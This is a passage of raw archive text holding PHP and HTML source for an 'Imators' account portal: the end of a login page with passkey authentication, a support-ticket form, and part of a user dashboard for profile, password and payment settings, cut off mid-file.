focus:outline-none <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > </div> <div> <label class="block text-sm font-medium mb-2">Password</label> <div class="relative"> <input type="password" name="password" required <?php echo $is_locked ? 'disabled' : ''; ?> x-model="password" id="password-field" class="w-full px-4 py-2 rounded-lg bg-gray-900 border border-gray-800 focus:border-white focus:outline-none <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > <button type="button" class="absolute inset-y-0 right-0 pr-3 flex items-center" onclick="togglePasswordVisibility()" > <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400" id="eye-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" /> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z" /> </svg> <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-gray-400 hidden" id="eye-off-icon" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.543-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l18 18" /> </svg> </button> </div> </div> <script> function togglePasswordVisibility() { const passwordField = document.getElementById('password-field'); const eyeIcon = document.getElementById('eye-icon'); const eyeOffIcon = document.getElementById('eye-off-icon'); if (passwordField.type === 'password') { passwordField.type = 'text'; eyeIcon.classList.add('hidden'); eyeOffIcon.classList.remove('hidden'); } else { passwordField.type = 'password'; eyeIcon.classList.remove('hidden'); eyeOffIcon.classList.add('hidden'); } } </script> <button type="submit" <?php echo $is_locked ? 'disabled' : ''; ?> class="w-full bg-white text-black py-2 px-4 rounded-lg font-medium hover:bg-gray-100 transition-colors <?php echo $is_locked ? 'opacity-50 cursor-not-allowed' : ''; ?>" > Login </button> </form> <p class="mt-4 text-center text-sm"> <a href="./register.php" class="text-gray-400 hover:text-white">Create an account</a> </p> </div> <script> function loginManager() { return { email: '', password: '', showError: <?php echo $error ? 'true' : 'false'; ?>, submitForm() { if (!this.email || !this.password) { this.showError = true; return; } document.querySelector('form').submit(); } }; } function lockoutTimer(initialTime) { return { remainingTime: initialTime, canUnlock: false, formattedTime: '', startTimer() { const updateTimer = () => { if (this.remainingTime > 0) { const minutes = Math.floor(this.remainingTime / 60); const seconds = this.remainingTime % 60; this.formattedTime = `${minutes} min ${seconds} sec`; this.remainingTime--; setTimeout(updateTimer, 1000); } else { this.canUnlock = true; this.formattedTime = 'Unlocked'; } }; updateTimer(); } } } </script> <script> function base64ToArrayBuffer(base64) { const binaryString = window.atob(base64); const bytes = new Uint8Array(binaryString.length); for (let i = 0; i < binaryString.length; i++) { bytes[i] = binaryString.charCodeAt(i); } return bytes.buffer; } function arrayBufferToBase64(buffer) { const bytes = new Uint8Array(buffer); let binary = ''; for (let i = 0; i < bytes.byteLength; i++) { binary += String.fromCharCode(bytes[i]); } return window.btoa(binary); } function showError(message) { const errorDiv = document.createElement('div'); errorDiv.className = 'bg-red-500 text-white p-3 rounded-lg text-center mb-4'; errorDiv.textContent = message; const existingError = document.querySelector('.bg-red-500'); if (existingError) { existingError.remove(); } document.querySelector('form').insertBefore(errorDiv, document.querySelector('form').firstChild); } function showPasskeyModal() { document.getElementById('passkey-modal').classList.remove('hidden'); } function closePasskeyModal() { document.getElementById('passkey-modal').classList.add('hidden'); } async function handlePasskeyAuth(challenge) { try { const credential = await navigator.credentials.get({ publicKey: { challenge: base64ToArrayBuffer(challenge), rpId: window.location.hostname, timeout: 60000, userVerification: "preferred" } }); const response = await fetch('../auth/verify-passkey.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), signature: arrayBufferToBase64(credential.response.signature) } }) }); const result = await response.json(); if (result.success) { window.location.href = '/dashboard'; } else { throw new Error(result.error); } } catch (error) { closePasskeyModal(); showError(error.message || 'Échec de l\'authentification Passkey'); } } document.querySelector('form').addEventListener('submit', async function(e) { e.preventDefault(); try { const formData = new FormData(this); const response = await fetch(window.location.href, { method: 'POST', body: formData }); const contentType = response.headers.get('content-type'); if (contentType && contentType.includes('application/json')) { const result = await response.json(); if (result.status === 'passkey_required') { showPasskeyModal(); await handlePasskeyAuth(result.challenge); } else { showError(result.error || 'Échec de la connexion'); } } else { window.location.href = 'https://formore.tv/account'; } } catch (error) { showError('Une erreur est survenue lors de la connexion'); } }); function loginManager() { return { email: '', password: '', showError: <?php echo $error ? 'true' : 'false'; ?>, submitForm() { if (!this.email || !this.password) { this.showError = true; return; } document.querySelector('form').submit(); } }; } function lockoutTimer(initialTime) { return { remainingTime: initialTime, canUnlock: false, formattedTime: '', startTimer() { const updateTimer = () => { if (this.remainingTime > 0) { const minutes = Math.floor(this.remainingTime / 60); const seconds = this.remainingTime % 60; this.formattedTime = `${minutes} min ${seconds} sec`; this.remainingTime--; setTimeout(updateTimer, 1000); } else { this.canUnlock = true; this.formattedTime = 'Unlocked'; } }; updateTimer(); } }; } </script> </body> </html> PK �)�[$��$�+ �+ create_ticket.phpnu �[��� <?php session_start(); require_once 'db.php'; if (!isset($_SESSION['user_id'])) { header('Location: login.php'); exit; } if (!isset($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } $errors = []; $success = ''; if (isset($_SESSION['success_message'])) { $success = $_SESSION['success_message']; unset($_SESSION['success_message']); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) { die('Invalid request'); } $db = new Database(); $conn = $db->connect(); $subject = trim(filter_input(INPUT_POST, 'subject', FILTER_SANITIZE_STRING)); $description = trim(filter_input(INPUT_POST, 'description', FILTER_SANITIZE_STRING)); $priority = trim(filter_input(INPUT_POST, 'priority', FILTER_SANITIZE_STRING)); if (empty($subject)) { $errors[] = "Subject is required"; } if (empty($description)) { $errors[] = "Description is required"; } if (empty($priority)) { $errors[] = "Priority is required"; } $allowed_priorities = ['low', 'medium', 'high']; if (!in_array($priority, $allowed_priorities)) { $priority = 'medium'; } if (empty($errors)) { try { $conn->beginTransaction(); $stmt = $conn->prepare(" INSERT INTO support_tickets (user_id, subject, description, priority, status, created_at) VALUES (?, ?, ?, ?, 'open', NOW()) "); if (!$stmt->execute([$_SESSION['user_id'], $subject, $description, $priority])) { throw new Exception("Failed to create ticket"); } $ticket_id = $conn->lastInsertId(); $stmt = $conn->prepare(" INSERT INTO ticket_notifications (ticket_id, user_id, message, created_at) VALUES (?, ?, ?, NOW()) "); $message = "Your ticket #{$ticket_id} has been created and is being reviewed by our support team."; if (!$stmt->execute([$ticket_id, $_SESSION['user_id'], $message])) { throw new Exception("Failed to create notification"); } $conn->commit(); $_SESSION['success_message'] = "Ticket #{$ticket_id} has been successfully created!"; header('Location: ' . $_SERVER['PHP_SELF']); exit; } catch (Exception $e) { $conn->rollBack(); $errors[] = "An error occurred while creating the ticket. Please try again."; error_log("Ticket creation error: " . $e->getMessage()); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Create Support Ticket - Imators</title> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <style> body { font-family: 'Poppins', sans-serif; background: linear-gradient(135deg, #000000, #0a0a0a, #141414); background-attachment: fixed; } .glass-effect { backdrop-filter: blur(16px); background: rgba(255, 255, 255, 0.02); border: 1px solid rgba(255, 255, 255, 0.05); } .gradient-border { position: relative; background: linear-gradient(145deg, rgba(26, 26, 26, 0.8), rgba(45, 45, 45, 0.4)); padding: 1px; } .gradient-border::before { content: ''; position: absolute; inset: -1px; padding: 1px; background: linear-gradient(145deg, rgba(255, 255, 255, 0.12), rgba(255, 255, 255, 0.03)); -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); -webkit-mask-composite: xor; mask-composite: exclude; } .success-animation { animation: fadeInUp 0.6s cubic-bezier(0.4, 0, 0.2, 1); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } </style> </head> <body class="bg-black min-h-screen text-white py-8"> <div class="max-w-4xl mx-auto px-4"> <div class="flex justify-between items-center mb-8"> <a href="dashboard.php" class="flex items-center space-x-2"> <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 19l-7-7m0 0l7-7m-7 7h18" /> </svg> <span>Back to Dashboard</span> </a> <img src="https://cdn.imators.com/logo.png" alt="Imators Logo" class="h-8"> </div> <?php if ($success): ?> <div class="bg-green-500/10 border border-green-500/20 text-green-400 p-4 rounded-lg mb-8 success-animation"> <div class="flex items-center"> <svg class="w-5 h-5 mr-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7" /> </svg> <?php echo htmlspecialchars($success); ?> </div> </div> <?php endif; ?> <?php if (!empty($errors)): ?> <div class="bg-red-500/10 border border-red-500/20 text-red-400 p-4 rounded-lg mb-8 success-animation"> <?php foreach ($errors as $error): ?> <div class="flex items-center mb-2 last:mb-0"> <svg class="w-5 h-5 mr-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" /> </svg> <?php echo htmlspecialchars($error); ?> </div> <?php endforeach; ?> </div> <?php endif; ?> <div class="gradient-border rounded-xl overflow-hidden"> <div class="glass-effect p-6 sm:p-8"> <div class="flex items-center mb-6"> <svg class="w-6 h-6 mr-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 8h10M7 12h4m1 8l-4-4H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-3l-4 4z" /> </svg> <h1 class="text-2xl font-semibold">Create Support Ticket</h1> </div> <p class="text-sm font-light text-left">Creating a ticket allows our customers to get help with a product. Our systems prevent you from abusing the system, but be aware that behind you, humans are reading, so please be respectful ;)</p> <form action="" method="POST" class="space-y-6" id="ticketForm"> <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"> <div> <label class="block text-sm font-medium text-gray-300 mb-2">Subject</label> <input type="text" name="subject" required value="<?php echo htmlspecialchars($subject ?? ''); ?>" class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none" placeholder="Brief description of your issue"> </div> <div> <label class="block text-sm font-medium text-gray-300 mb-2">Priority</label> <select name="priority" required class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none"> <option value="low" <?php echo ($priority ?? '') === 'low' ? 'selected' : ''; ?>>Low</option> <option value="medium" <?php echo ($priority ?? 'medium') === 'medium' ? 'selected' : ''; ?>>Medium</option> <option value="high" <?php echo ($priority ?? '') === 'high' ? 'selected' : ''; ?>>High</option> </select> </div> <div> <label class="block text-sm font-medium text-gray-300 mb-2">Description</label> <textarea name="description" required rows="6" class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none resize-none" placeholder="Please provide detailed information about your issue..."><?php echo htmlspecialchars($description ?? ''); ?></textarea> </div> <div class="flex justify-end gap-4"> <a href="dashboard.php" class="px-6 py-2 rounded-lg border border-white/10 hover:bg-white/5 transition-colors text-gray-300"> Cancel </a> <button type="submit" class="px-6 py-2 bg-white text-black rounded-lg font-medium hover:bg-gray-100 transition-all"> Create Ticket </button> </div> </form> </div> </div> </div> <script> document.getElementById('ticketForm').addEventListener('submit', function(e) { if (this.submitted) { e.preventDefault(); return; } const submitButton = this.querySelector('button[type="submit"]'); submitButton.disabled = true; submitButton.innerHTML = ` <svg class="animate-spin -ml-1 mr-3 h-5 w-5 inline-block" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle> <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path> </svg> Creating ticket... `; this.submitted = true; }); const messages = document.querySelectorAll('.success-animation'); if (messages.length) { setTimeout(() => { messages.forEach(msg => { msg.style.opacity = '0'; setTimeout(() => msg.remove(), 300); }); }, 5000); } </script> </body> </html>PK �)�[�~?5j� j� dashboard.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require 'vendor/autoload.php'; if (!isset($_SESSION['user_id'])) { header('Location: login.php'); exit; } $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("SELECT is_enabled FROM two_factor_auth WHERE user_id = ?"); $stmt->execute([$_SESSION['user_id']]); $twoFaStatus = $stmt->fetch(PDO::FETCH_COLUMN) ? true : false; function safe_json_decode($json, $default = []) { if ($json === null) return $default; $decoded = json_decode($json, true); return $decoded ?: $default; } function safe_datetime($datetime) { return $datetime ? date('M j, Y g:i A', strtotime($datetime)) : 'Not Available'; } $errors = []; $success = ''; try { $stmt = $conn->prepare(" SELECT u.*, COALESCE(cw.`ip-connected`, '{}') as `ip-connected`, COALESCE(cw.`identified-screen`, '{}') as `identified-screen`, cw.`hours-of-connect`, cw.`date-of-connect` FROM utilisateurs u LEFT JOIN `connection-watchguard` cw ON u.id = cw.user_id WHERE u.id = ? ORDER BY cw.`date-of-connect` DESC LIMIT 1 "); $stmt->execute([$_SESSION['user_id']]); $user = $stmt->fetch(PDO::FETCH_ASSOC); if (!$user) { header('Location: logout.php'); exit; } $security_query = $conn->prepare(" SELECT cw.* FROM `connection-watchguard` cw WHERE cw.user_id = ? ORDER BY cw.`date-of-connect` DESC LIMIT 5 "); $security_query->execute([$_SESSION['user_id']]); $connections = $security_query->fetchAll(PDO::FETCH_ASSOC); } catch(PDOException $e) { error_log("Error fetching user data: " . $e->getMessage()); $errors[] = "An error occurred while retrieving your data."; } $subscriptions = [ 'academ' => $user['academ'] ?? false, 'ohmypanel' => $user['ohmypanel'] ?? false, 'something' => $user['something'] ?? false ]; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['update_profile'])) { $username = trim(filter_var($_POST['username'], FILTER_SANITIZE_FULL_SPECIAL_CHARS)); $email = trim(filter_var($_POST['email'], FILTER_SANITIZE_EMAIL)); try { $check_email = $conn->prepare("SELECT id FROM utilisateurs WHERE email = ? AND id != ?"); $check_email->execute([$email, $_SESSION['user_id']]); if ($check_email->rowCount() > 0) { $errors[] = "This email is already taken by another user"; } else { $update_query = "UPDATE utilisateurs SET username = ?, email = ?"; $update_params = [$username, $email]; if (isset($_FILES['profile_picture']) && $_FILES['profile_picture']['error'] === 0) { $allowed = ['jpg', 'jpeg', 'png', 'webp']; $filename = $_FILES['profile_picture']['name']; $filetype = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($filetype, $allowed)) { $errors[] = "Invalid file type. Allowed: JPG, JPEG, PNG, WEBP"; } else { $newName = time() . rand(1000, 9999) . '.' . $filetype; $uploadPath = $_SERVER['DOCUMENT_ROOT'] . '/../cdn.imators.com/uploads/'; if (!is_dir($uploadPath)) { mkdir($uploadPath, 0755, true); } if (move_uploaded_file($_FILES['profile_picture']['tmp_name'], $uploadPath . $newName)) { $cdnUrl = 'https://cdn.imators.com/uploads/' . $newName; $update_query .= ", `profile-picture` = ?"; $update_params[] = $cdnUrl; } else { $errors[] = "Failed to upload profile picture"; } } } $update_query .= " WHERE id = ?"; $update_params[] = $_SESSION['user_id']; if (empty($errors)) { $stmt = $conn->prepare($update_query); if ($stmt->execute($update_params)) { $success = "Profile updated successfully!"; $_SESSION['username'] = $username; $stmt = $conn->prepare("SELECT * FROM utilisateurs WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $user = $stmt->fetch(PDO::FETCH_ASSOC); } else { $errors[] = "Failed to update profile"; } } } } catch(PDOException $e) { error_log("Profile update error: " . $e->getMessage()); $errors[] = "An error occurred while updating your profile"; } } if (isset($_POST['change_password'])) { $currentPassword = $_POST['current_password']; $newPassword = $_POST['new_password']; $confirmPassword = $_POST['confirm_password']; if (!password_verify($currentPassword, $user['password'])) { $errors[] = "Current password is incorrect"; } elseif ($newPassword !== $confirmPassword) { $errors[] = "New passwords do not match"; } elseif (strlen($newPassword) < 8) { $errors[] = "New password must be at least 8 characters long"; } elseif (!preg_match("/[A-Z]/", $newPassword) || !preg_match("/[a-z]/", $newPassword) || !preg_match("/[0-9]/", $newPassword)) { $errors[] = "New password must contain uppercase, lowercase, and numbers"; } else { try { $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT); $stmt = $conn->prepare("UPDATE utilisateurs SET password = ? WHERE id = ?"); if ($stmt->execute([$hashedPassword, $_SESSION['user_id']])) { $success = "Password changed successfully!"; } else { $errors[] = "Failed to update password"; } } catch(PDOException $e) { error_log("Password update error: " . $e->getMessage()); $errors[] = "An error occurred while updating your password"; } } } } $stmt = $conn->prepare("SELECT passkey_enabled FROM utilisateurs WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $passkey_enabled = $stmt->fetch(PDO::FETCH_COLUMN) ? true : false; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Imators Auth.</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <style> body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, #000000, #0a0a0a, #1a1a1a); background-attachment: fixed; } .glass-effect { backdrop-filter: blur(16px); background: rgba(255, 255, 255, 0.02); border: 1px solid rgba(255, 255, 255, 0.05); } .gradient-border { position: relative; border-radius: 1rem; background: linear-gradient(145deg, rgba(26, 26, 26, 0.8), rgba(45, 45, 45, 0.4)); padding: 1px; overflow: hidden; } .gradient-border::before { content: ''; position: absolute; inset: -1px; border-radius: 1rem; padding: 1px; background: linear-gradient(145deg, rgba(255, 255, 255, 0.1), rgba(255, 255, 255, 0.02)); -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0); -webkit-mask-composite: xor; mask-composite: exclude; } .hover-scale { transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); } .hover-scale:hover { transform: translateY(-2px) scale(1.005); } .profile-upload { position: relative; width: 120px; height: 120px; border-radius: 50%; overflow: hidden; cursor: pointer; transition: all 0.3s ease; margin: 1rem; } .profile-upload:hover::after { content: 'Change'; position: absolute; inset: 0; background: rgba(0, 0, 0, 0.7); display: flex; align-items: center; justify-content: center; color: white; font-size: 14px; } .connection-card { background: linear-gradient(165deg, rgba(26, 26, 26, 0.9), rgba(42, 42, 42, 0.5)); transition: all 0.3s ease; border-radius: 0.75rem; } .connection-card:hover { transform: translateY(-1px); background: linear-gradient(165deg, rgba(36, 36, 36, 0.95), rgba(52, 52, 52, 0.6)); } input, select, textarea { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(255, 255, 255, 0.1); } input:focus, select:focus, textarea:focus { border-color: rgba(255, 255, 255, 0.2); outline: none; } button { transition: all 0.2s ease; } button:hover { transform: translateY(-1px); } .success-animation { animation: fadeInUp 0.6s cubic-bezier(0.4, 0, 0.2, 1); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .nav-blur { backdrop-filter: blur(20px); background: rgba(0, 0, 0, 0.5); border-bottom: 1px solid rgba(255, 255, 255, 0.05); } @keyframes ripple { 0% { box-shadow: 0 0 0 0 rgba(59, 130, 246, 0.4); } 100% { box-shadow: 0 0 0 10px rgba(59, 130, 246, 0); } } .pulse { animation: ripple 1.5s infinite; } .subscription-actions { opacity: 0; transition: opacity 0.3s ease; } .subscription-card:hover .subscription-actions { opacity: 1; } </style> </head> <body class="bg-black min-h-screen text-white"> <nav class="border-b border-white/5 nav-blur sticky top-0 z-50"> <div class="flex justify-between items-center max-w-6xl mx-auto px-4 sm:px-6 py-4"> <div class="flex items-center space-x-6"> <img src="https://cdn.imators.com/logo.png" alt="Logo" class="h-8 sm:h-10 hover-scale"> <div class="hidden md:flex space-x-4"> <a href="#profile" class="text-gray-300 hover:text-white transition-colors">Profile</a> <a href="#security" class="text-gray-300 hover:text-white transition-colors">Security</a> <a href="#payment" class="text-gray-300 hover:text-white transition-colors">Payment</a> <a href="#support" class="text-gray-300 hover:text-white transition-colors">Support</a> </div> </div> <div class="flex items-center space-x-4 sm:space-x-6"> <div class="flex items-center space-x-3"> <p class="text-sm text-gray-300"><?php echo htmlspecialchars($_SESSION['username']); ?></p> <div class="w-8 h-8 sm:w-10 sm:h-10 rounded-full overflow-hidden"> <img src="<?php echo $user['profile-picture'] ?? 'https://cdn.imators.com/default-avatar.png'; ?>" alt="Profile" class="w-full h-full object-cover"> </div> </div> <a href="logout.php" class="px-3 py-2 sm:px-4 sm:py-2 rounded-lg bg-white/5 hover:bg-white/10 text-sm text-gray-300 hover:text-white transition-all"> Logout </a> </div> </div> </nav> <main class="max-w-6xl mx-auto px-4 sm:px-6 py-8 sm:py-12"> <?php if ($success): ?> <div class="bg-green-500/10 border border-green-500/20 text-green-400 p-4 rounded-lg mb-8 success-animation"> <?php echo htmlspecialchars($success); ?> </div> <?php endif; ?> <?php if (!empty($errors)): ?> <div class="bg-red-500/10 border border-red-500/20 text-red-400 p-4 rounded-lg mb-8 success-animation"> <ul class="list-disc pl-4"> <?php foreach ($errors as $error): ?> <li><?php echo htmlspecialchars($error); ?></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> <div class="mb-6 bg-transparent p-4 rounded-lg"> <h1 class="text-2xl sm:text-3xl font-semibold text-white"> Welcome, <span class="text-blue-400"><?php echo htmlspecialchars($_SESSION['username']); ?></span> </h1> <p class="text-gray-400 mt-2">Manage your Imators account and preferences</p> </div> <div class="grid grid-cols-1 lg:grid-cols-3 gap-6"> <div class="lg:col-span-2 space-y-6"> <div id="profile" class="gradient-border hover-scale"> <div class="glass-effect rounded-lg p-4 sm:p-6 md:p-8"> <div class="flex flex-col sm:flex-row items-center sm:items-start gap-6 mb-8"> <div class="order-2 sm:order-1 text-center sm:text-left"> <h2 class="text-xl sm:text-2xl font-semibold flex items-center justify-center sm:justify-start"> <svg class="w-6 h-6 mr-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z" /> </svg> Profile Settings </h2> <p class="text-sm font-light mt-2 text-gray-400">Manage your account information</p> </div> <div class="order-1 sm:order-2 flex-shrink-0"> <div class="relative"> <label class="profile-upload block"> <input type="file" accept="image/*" class="hidden" name="profile_picture" id="profilePictureInput"> <img src="<?php echo $user['profile-picture'] ?? 'https://cdn.imators.com/default-avatar.png'; ?>" alt="Profile" class="w-full h-full object-cover" id="profilePreview"> </label> <div id="uploadStatus" class="absolute inset-0 bg-black/75 items-center justify-center hidden rounded-full"> <div class="text-center"> <svg class="animate-spin h-8 w-8 mx-auto text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle> <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path> </svg> <p class="mt-2 text-xs text-white">Uploading...</p> </div> </div> </div> </div> </div> <form method="POST" enctype="multipart/form-data" class="space-y-6"> <div class="grid grid-cols-1 md:grid-cols-2 gap-6"> <div> <label class="block text-sm font-medium mb-2 text-gray-300">Username</label> <input type="text" name="username" required value="<?php echo htmlspecialchars($user['username']); ?>" class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none"> </div> <div> <label class="block text-sm font-medium mb-2 text-gray-300">Email</label> <input type="email" name="email" required value="<?php echo htmlspecialchars($user['email']); ?>" class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none"> </div> </div> <input type="hidden" name="update_profile" value="1"> <button type="submit" class="w-full bg-white text-black py-3 px-6 rounded-lg font-medium hover:bg-gray-100 transition-all hover-scale"> Update Profile </button> </form> </div> </div> <div id="security" class="gradient-border hover-scale"> <div class="glass-effect rounded-lg p-6 sm:p-8"> <h2 class="text-xl sm:text-2xl font-semibold mb-6 flex items-center"> <svg class="w-6 h-6 mr-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" /> </svg> Security & Connections </h2> <div class="space-y-6"> <div class="bg-black/30 rounded-lg p-4"> <div class="flex items-center justify-between"> <div> <h3 class="text-sm font-medium">Current Session</h3> <p class="text-xs text-gray-400 mt-1"> <?php $location = safe_json_decode($user['ip-connected'], [])['location'] ?? 'Unknown'; echo htmlspecialchars($location); ?> </p> </div> <div class="flex items-center"> <div class="w-2 h-2 bg-green-500 rounded-full pulse"></div> <span class="ml-2 text-xs text-gray-400">Active now</span> </div> </div> </div> <div class="space-y-4"> <h3 class="text-sm font-medium">Recent Connections</h3> <?php foreach ($connections as $connection): ?> <?php $deviceInfo = safe_json_decode($connection['identified-screen']); $ipInfo = safe_json_decode($connection['ip-connected']); ?> <div class="connection-card p-4"> <div class="flex justify-between items-start"> <div> <p class="text-sm"><?php echo htmlspecialchars($deviceInfo['device'] ?? 'Unknown Device'); ?></p> <p class="text-xs text-gray-400 mt-1"> <?php echo htmlspecialchars($ipInfo['location'] ?? 'Unknown Location'); ?> </p> </div> <p class="text-xs text-gray-500"> <?php echo safe_datetime($connection['date-of-connect']); ?> </p> </div> </div> <?php endforeach; ?> </div> <div class="border-t border-white/5 pt-6"> <h3 class="text-sm font-medium mb-4">Change Password</h3> <form method="POST" class="space-y-4"> <div> <label class="block text-xs font-medium mb-2 text-gray-300">Current Password</label> <input type="password" name="current_password" required class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none"> </div> <div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div> <label class="block text-xs font-medium mb-2 text-gray-300">New Password</label> <input type="password" name="new_password" required class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none"> </div> <div> <label class="block text-xs font-medium mb-2 text-gray-300">Confirm Password</label> <input type="password" name="confirm_password" required class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none"> </div> </div> <input type="hidden" name="change_password" value="1"> <button type="submit" class="w-full bg-white/10 text-white py-3 px-6 rounded-lg font-medium hover:bg-white/20 transition-all"> Update Password </button> </form> </div> </div> </div> </div> <div id="payment" class="gradient-border hover-scale"> <div class="glass-effect rounded-lg p-6 sm:p-8"> <h2 class="text-xl sm:text-2xl font-semibold mb-6 flex items-center"> <svg class="w-6 h-6 mr-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 10h18M7 15h1m4 0h1m-7 4h12a3 3 0 003-3V8a3 3 0 00-3-3H6a3 3 0 00-3 3v8a3 3 0 003 3z" /> </svg> Payment Methods </h2> <div id="savedCards" class="space-y-4 mb-6"> <?php try { $cards_query = $conn->prepare(" SELECT * FROM payment_methods WHERE user_id = ? ORDER BY is_default DESC, created_at DESC "); $cards_query->execute([$_SESSION['user_id']]); $cards = $cards_query->fetchAll(PDO::FETCH_ASSOC); if (empty($cards)) { echo '<p class="text-gray-400 text-center py-4">No payment methods added yet</p>'; } else { foreach ($cards as $card) { $last4 = $card['last4']; $brand = strtoupper($card['brand']); $exp_month = str_pad($card['exp_month'], 2, '0', STR_PAD_LEFT); $exp_year = $card['exp_year']; $is_default = $card['is_default']; echo '<div class="bg-black/30 rounded-lg p-4 flex items-center justify-between"> <div class="flex items-center space-x-4"> <div class="w-12 h-8 flex items-center justify-center bg-white/10 rounded text-xs font-bold"> ' . htmlspecialchars($brand) . ' </div> <div> <p class="font-medium">•••• ' . htmlspecialchars($last4) . '</p> <p class="text-xs text-gray-400">Expires ' . htmlspecialchars($exp_month) . '/' . htmlspecialchars($exp_year) . '</p> </div> </div> <div class="flex items-center space-x-2"> ' . ($is_default ? '<span class="text-xs bg-green-500/10 text-green-400 px-2 py-1 rounded border border-green-500/20">Default</span>' : 